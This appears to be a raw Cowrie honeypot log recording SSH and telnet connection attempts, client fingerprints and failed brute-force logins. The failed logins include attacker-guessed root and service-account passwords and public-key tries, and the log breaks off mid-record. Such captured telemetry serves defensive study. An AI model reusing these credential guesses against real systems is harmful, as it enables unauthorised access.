{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58242,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f2bdb4caf9","protocol":"telnet","message":"New connection: 192.119.13.58:58242 (10.17.0.5:23) [session: 63f2bdb4caf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:04.878277Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":48156,"dst_ip":"159.203.135.109","dst_port":22,"session":"a97b564d8c11","protocol":"ssh","message":"New connection: 41.242.115.83:48156 (159.203.135.109:22) [session: a97b564d8c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:07.513078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:07.517036Z","src_ip":"41.242.115.83","session":"a97b564d8c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:07.717435Z","src_ip":"41.242.115.83","session":"a97b564d8c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traxdata","message":"login attempt [root/traxdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:08.552898Z","src_ip":"41.242.115.83","session":"a97b564d8c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":46204,"dst_ip":"10.17.0.5","dst_port":22,"session":"0acfb841d944","protocol":"ssh","message":"New connection: 91.4.14.170:46204 (10.17.0.5:22) [session: 0acfb841d944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:09.714684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:09.738512Z","src_ip":"91.4.14.170","session":"0acfb841d944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:09.756890Z","src_ip":"41.242.115.83","session":"a97b564d8c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:09.835578Z","src_ip":"91.4.14.170","session":"0acfb841d944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49930,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a83f1287ca","protocol":"telnet","message":"New connection: 192.119.13.58:49930 (10.17.0.5:23) [session: b9a83f1287ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:10.134676Z"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext@123","message":"login attempt [erpnext/erpnext@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:10.242821Z","src_ip":"91.4.14.170","session":"0acfb841d944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":44302,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ccb4b1bf784","protocol":"ssh","message":"New connection: 186.219.184.142:44302 (10.17.0.5:22) [session: 1ccb4b1bf784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:11.288949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:11.294520Z","src_ip":"186.219.184.142","session":"1ccb4b1bf784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:11.348844Z","src_ip":"91.4.14.170","session":"0acfb841d944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:11.433574Z","src_ip":"186.219.184.142","session":"1ccb4b1bf784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234567890","message":"login attempt [root/Abcd1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:12.018648Z","src_ip":"186.219.184.142","session":"1ccb4b1bf784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:13.162057Z","src_ip":"186.219.184.142","session":"1ccb4b1bf784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.74218034744263,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:18.420682Z","src_ip":"192.119.13.58","session":"e5d82d7f7907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.75421094894409,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:20.735994Z","src_ip":"192.119.13.58","session":"d70f478a7039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.443992376327515,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:21.205316Z","src_ip":"192.119.13.58","session":"9071b4d3796e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53046,"dst_ip":"10.17.0.5","dst_port":23,"session":"54cf98c852e1","protocol":"telnet","message":"New connection: 192.119.13.58:53046 (10.17.0.5:23) [session: 54cf98c852e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:25.695339Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53582,"dst_ip":"10.17.0.5","dst_port":23,"session":"baeff0f9e9e5","protocol":"telnet","message":"New connection: 192.119.13.58:53582 (10.17.0.5:23) [session: baeff0f9e9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:25.815119Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51835,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e32e7033e4","protocol":"ssh","message":"New connection: 152.42.212.128:51835 (10.17.0.5:22) [session: 55e32e7033e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:26.569731Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:26.575818Z","src_ip":"152.42.212.128","session":"55e32e7033e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:26.580426Z","src_ip":"152.42.212.128","session":"55e32e7033e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2536,"dst_ip":"159.203.135.109","dst_port":22,"session":"55724e025a32","protocol":"ssh","message":"New connection: 181.0.214.136:2536 (159.203.135.109:22) [session: 55724e025a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:30.690819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:30.696078Z","src_ip":"181.0.214.136","session":"55724e025a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:30.858222Z","src_ip":"181.0.214.136","session":"55724e025a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:31.540205Z","src_ip":"181.0.214.136","session":"55724e025a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:32.709763Z","src_ip":"181.0.214.136","session":"55724e025a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36656,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2b3c62050b","protocol":"telnet","message":"New connection: 192.119.13.58:36656 (10.17.0.5:23) [session: 8a2b3c62050b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:35.581192Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42320,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81b78723dab","protocol":"telnet","message":"New connection: 192.119.13.58:42320 (10.17.0.5:23) [session: d81b78723dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:36.918577Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":48370,"dst_ip":"10.17.0.5","dst_port":22,"session":"8de1eadb4121","protocol":"ssh","message":"New connection: 51.159.104.219:48370 (10.17.0.5:22) [session: 8de1eadb4121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:48.473336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:48.478791Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:48.564240Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34164,"dst_ip":"10.17.0.5","dst_port":23,"session":"7984578ef402","protocol":"telnet","message":"New connection: 192.119.13.58:34164 (10.17.0.5:23) [session: 7984578ef402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:48.819554Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:da:6e:e0:38:5e:39:46:ac:a4:64:66:e2:45:9e:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsWiDUeYxY/oXO54km7W67fgUQuIL1RDTPvy/ZmJEArxhndd1qoMaDjLXUobUYLwPiojjWNOGE51pKlrsUAhubgfeLk1R9c7rGocOSTRHPAQbam7ZqIlO6Q0Oxlmdckyhi/67pn7h96+BtQKjXEkGLjIWCNWCoRpOUJWqUW7Ge25YBaG9KMnrP79nMvddQLq14/IdiPLOfcRzuLBZzjaRDvhyZmmNgg8rHQLmQIAZN0Lp/bYtxqsKHleT4+lP6IaCA/NEdgjXSHY2otLxlJblP2PexqszQlspHGiKop2yikCTeVVcUHkiel4OkEWHhJ5jWCcloPaGoRb1/Cq22THpZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:da:6e:e0:38:5e:39:46:ac:a4:64:66:e2:45:9e:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:48.966800Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:da:6e:e0:38:5e:39:46:ac:a4:64:66:e2:45:9e:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsWiDUeYxY/oXO54km7W67fgUQuIL1RDTPvy/ZmJEArxhndd1qoMaDjLXUobUYLwPiojjWNOGE51pKlrsUAhubgfeLk1R9c7rGocOSTRHPAQbam7ZqIlO6Q0Oxlmdckyhi/67pn7h96+BtQKjXEkGLjIWCNWCoRpOUJWqUW7Ge25YBaG9KMnrP79nMvddQLq14/IdiPLOfcRzuLBZzjaRDvhyZmmNgg8rHQLmQIAZN0Lp/bYtxqsKHleT4+lP6IaCA/NEdgjXSHY2otLxlJblP2PexqszQlspHGiKop2yikCTeVVcUHkiel4OkEWHhJ5jWCcloPaGoRb1/Cq22THpZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:48.973849Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:6a:30:c8:8b:bb:58:f5:ab:2d:7f:1a:94:7e:01:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlr0NCEhuUZZdj5zq/fnthMRi+BOgphtNmQm4nUJ78xASYzUdA66jimfv8mERfvooMVmJx+wB8Re9v/Eju+Uf+Pa3osbg7gVv6ahffMVS/gRKFhVeqyk5AuxzV7uCwxkA8tV+wbnc0va7tYP/INJH4DNad1X+l6YrNU9ZW7wBazkhht5budfFvp3HmpE3Ow/JtJefnSi+NRKRtVhVvLxPxLVhLgO9LyA3oDqmdJakDMGGxbY125nR2baUtS4lzMmIiJ0u43GI0lCs4vaC+9MOm2QpH1kPnt6sCInjR3Ou5zbhw7DZTzsqGpluEJoakkoO+WOD/JrrsMxSVg7WL1adt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:6a:30:c8:8b:bb:58:f5:ab:2d:7f:1a:94:7e:01:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.059438Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:6a:30:c8:8b:bb:58:f5:ab:2d:7f:1a:94:7e:01:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlr0NCEhuUZZdj5zq/fnthMRi+BOgphtNmQm4nUJ78xASYzUdA66jimfv8mERfvooMVmJx+wB8Re9v/Eju+Uf+Pa3osbg7gVv6ahffMVS/gRKFhVeqyk5AuxzV7uCwxkA8tV+wbnc0va7tYP/INJH4DNad1X+l6YrNU9ZW7wBazkhht5budfFvp3HmpE3Ow/JtJefnSi+NRKRtVhVvLxPxLVhLgO9LyA3oDqmdJakDMGGxbY125nR2baUtS4lzMmIiJ0u43GI0lCs4vaC+9MOm2QpH1kPnt6sCInjR3Ou5zbhw7DZTzsqGpluEJoakkoO+WOD/JrrsMxSVg7WL1adt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.063022Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:c0:0f:3b:d6:40:ce:f4:98:66:87:a4:df:b6:66:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCh80BOuHO6RaVwlwErlLnQH9BU4B/qI5cgJtcM2lGWE5P2OBDuKyRYkCU+YCMFSp3w92yCY4zKS8baCCRjWAZY4M2LMkBirUnRLrzKoMMxco+lBiuf4mlawpPYru5Eh++UDpExO59jgh2XeW+15BuLneR18dDjBXhW5jcvjFYthyPiLVuS9fvwFgTWM7+qYYpO76W6YyNqAOZD2iyxqhwh3ugR4v7ygUsNtkSMT0SJAZeaWR/f/MgR05EfMrqkqphRCH+tAxv61O6hj6WhyICvWraYBPGQorOwTYKom0CO+37pRBDJfGeK951Bdk5+vVR6JCGB7g8AEfIfKoMM9WCpsu/8RELHdQ7/bxSnGcaJd3EQYJmLqYfC5VQf3DB4lC7FeUypb8Cb/ipvdcKwNrbYsINYR3GBp9LGEKABcL67Yx5JgBPPTMQG3xcvOHp9ZB7LdfLCPM8JWuk783SyF9t7nAhkDw8Zf9jeyM1pkIr55SOspbKtcuj7YN1o9Jjc2dE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:c0:0f:3b:d6:40:ce:f4:98:66:87:a4:df:b6:66:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:28:49.148365Z","src_ip":"51.159.104.219","session":"8de1eadb4121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:c0:0f:3b:d6:40:ce:f4:98:66:87:a4:df:b6:66:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCh80BOuHO6RaVwlwErlLnQH9BU4B/qI5cgJtcM2lGWE5P2OBDuKyRYkCU+YCMFSp3w92yCY4zKS8baCCRjWAZY4M2LMkBirUnRLrzKoMMxco+lBiuf4mlawpPYru5Eh++UDpExO59jgh2XeW+15BuLneR18dDjBXhW5jcvjFYthyPiLVuS9fvwFgTWM7+qYYpO76W6YyNqAOZD2iyxqhwh3ugR4v7ygUsNtkSMT0SJAZeaWR/f/MgR05EfMrqkqphRCH+tAxv61O6hj6WhyICvWraYBPGQorOwTYKom0CO+37pRBDJfGeK951Bdk5+vVR6JCGB7g8AEfIfKoMM9WCpsu/8RELHdQ7/bxSnGcaJd3EQYJmLqYfC5VQf3DB4lC7FeUypb8Cb/ipvdcKwNrbYsINYR3GBp9LGEKABcL67Yx5JgBPPTMQG3xcvOHp9ZB7LdfLCPM8JWuk783SyF9t7nAhkDw8Zf9jeyM1pkIr55SOspbKtcuj7YN1o9Jjc2dE=","type":"ssh-rsa","message":"public key login attempt for [root] 